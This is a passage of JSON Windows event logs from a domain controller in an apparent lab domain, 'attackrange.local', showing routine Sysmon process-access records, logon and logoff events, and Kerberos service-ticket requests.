AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:23.437\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00102F140200}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\system32\\dns.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31375|C:\\Windows\\system32\\lsasrv.dll+2f20b|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:23.437","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00102F140200}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\system32\\dns.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31375|C:\\Windows\\system32\\lsasrv.dll+2f20b|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221669,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x43351\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x43351","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221670,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tDelegation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x43351\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t64388\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x43351","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"64388","ImpersonationLevel":"%%1840","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221671,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x43351\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x43351","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221672,"ProcessID":860,"ThreadID":2704,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x43851\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x43851","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221673,"ProcessID":860,"ThreadID":2704,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x43851\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t64389\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x43851","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"64389","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221674,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x43851\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x43851","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2438,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:23.749\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31375|C:\\Windows\\system32\\lsasrv.dll+2f20b|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:23.749","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31375|C:\\Windows\\system32\\lsasrv.dll+2f20b|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221675,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tWIN-DC-9849183$@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{5CFB240A-E6D1-50BF-1124-AEC849B823F4}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"WIN-DC-9849183$@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{5CFB240A-E6D1-50BF-1124-AEC849B823F4}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:50:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221676,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tWIN-DC-9849183$@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{5CFB240A-E6D1-50BF-1124-AEC849B823F4}\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x60810010\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"WIN-DC-9849183$@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x60810010","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{5CFB240A-E6D1-50BF-1124-AEC849B823F4}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:50:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221677,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x446DD\r\n\r\nPrivileges:\t\tSeAuditPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeAssignPrimaryTokenPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x446dd","PrivilegeList":"SeAuditPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeAssignPrimaryTokenPrivilege","EventReceivedTime":"2020-08-07 11:50:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221678,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tDelegation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x446DD\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{70073692-21C6-24B2-B0B5-1E4E73760CBB}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was 